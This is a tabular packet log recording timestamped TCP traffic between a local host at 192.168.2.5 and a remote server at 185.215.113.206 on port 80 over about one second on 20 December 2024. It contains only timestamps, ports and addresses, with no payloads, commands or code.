Dec 20, 2024 16:06:55.188775063 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.188787937 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.188831091 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.188858986 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.189846039 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.189907074 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.324353933 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.324373960 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.324385881 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.324440002 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.324476004 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.324501038 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.324543953 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.324584007 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.324707985 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.325870991 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.325926065 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.325948000 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.325994015 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.326775074 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.326857090 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.327356100 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.328011036 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.328073978 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.328681946 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.328758955 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.329016924 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.329070091 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.329478025 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.329552889 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.330244064 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.330296993 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.330543041 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.330590010 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.331223011 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.331300020 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.331469059 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.331814051 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.332540035 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.332555056 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.332611084 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.333569050 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.333622932 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.333758116 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.333832979 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.334498882 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.334573984 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.335082054 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.335155010 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.335792065 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.335804939 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.335854053 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.336759090 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.336797953 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.336816072 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.336843014 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.337912083 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.337965965 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.337992907 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.338006020 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.339162111 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.339248896 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.339258909 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.339307070 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.340225935 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.340289116 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.340404034 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.340461969 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.341295958 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.341686964 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.341763973 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.342550993 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.342566013 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.342642069 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.342672110 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.343355894 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.343590021 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.343662024 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.344403028 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.344471931 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.344666004 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.344753027 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.345567942 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.345629930 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.345863104 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.345922947 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.346725941 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.346788883 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.347335100 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.347397089 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.347798109 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.347856998 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.347939014 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.347990990 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.348933935 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.349075079 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.349143982 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.350003004 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.350058079 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.350467920 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.350523949 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.351175070 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.351231098 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.351356030 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.351407051 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.352133036 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.352189064 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.352643967 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.352716923 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.353363037 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.353749990 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.353810072 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.354362011 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.354429960 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.354549885 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.354598999 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.355485916 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.355542898 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.355999947 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.356054068 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.356636047 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.356686115 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.356787920 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.356837988 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.357788086 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.357814074 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.357888937 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.358755112 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.358830929 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.358861923 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.358917952 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.402430058 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.522182941 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.839062929 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.839142084 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.839553118 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.839565039 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.839597940 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.839620113 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.839768887 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.839782953 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.839827061 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.839845896 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.840723038 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.840783119 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.841803074 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.841815948 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.841964006 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.842052937 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.842106104 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.842940092 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.843962908 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.843975067 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.844017029 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.845793962 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.845805883 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.845819950 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.845860958 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.846138000 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.846187115 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.847270012 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.847281933 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.847327948 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.847577095 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.847632885 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.848388910 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.848402023 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.848448992 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.850414038 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.850449085 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.850495100 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.851721048 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.851733923 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.851746082 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.851775885 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.851798058 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.852303028 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.852708101 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.852794886 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.853555918 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.853621960 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.853810072 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.853823900 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.853863955 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.855031967 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.855107069 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.855776072 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.855925083 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.856005907 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.856053114 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.856334925 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.856383085 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.857184887 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.857242107 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.857379913 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.857511997 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.858721018 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.858783007 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.858915091 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.859025002 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.860099077 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.860399008 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.860476017 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.861453056 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.861519098 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.861923933 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.861979961 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.862677097 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.862734079 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.862967968 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.863019943 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.863814116 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.863862991 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.864188910 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.864239931 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.864799976 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.864854097 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.864890099 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.864934921 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.865849972 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.865901947 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.866290092 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.866837025 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.866894007 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.867516041 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.867933035 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.867986917 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.868347883 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.868398905 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.868827105 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.868840933 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.868881941 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.869739056 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.869822025 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.870352983 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.870412111 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.870853901 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.870906115 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.871490002 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.871545076 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.871871948 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.871939898 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.872335911 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.872431993 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.872818947 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.872831106 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.872869968 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.873898983 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.874185085 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.874245882 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.874831915 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.874881029 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.874967098 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.875032902 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.876080990 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.876303911 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.876374006 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.876997948 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.877072096 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.877974987 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.878043890 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.878114939 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.878165960 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.878297091 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.878351927 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.879339933 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.879446030 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.879482031 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.879497051 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.880353928 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.880413055 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.880671024 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.880727053 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.881429911 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.881494045 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.881654978 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.881707907 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.882548094 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.882597923 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.882601023 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.882641077 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.883637905 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.883744001 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.883805990 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.884843111 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.884902954 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.885009050 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.885086060 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.887243032 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.887255907 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.887269020 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.887319088 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.888123035 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.888178110 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.888206959 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.888219118 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.888252020 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.888271093 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.889812946 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.889827013 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.889875889 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.890532970 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.890592098 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.890754938 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.890805006 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.891354084 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.891415119 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.891788006 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.891843081 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.892528057 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.892575979 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.892875910 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.892931938 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.893595934 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.893608093 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.893641949 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.893655062 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.894666910 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.895374060 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.895584106 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.895658970 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.895956039 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.895968914 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.896001101 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.896017075 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.897130966 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.897193909 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.897236109 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.897274971 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:55.898149967 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:55.898202896 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.034998894 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.035016060 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.035084009 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.035387993 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.035435915 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.035641909 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.035690069 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:56.036475897 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:56.036531925 CET	49769	80	192.168.2.5	185.215.113.206
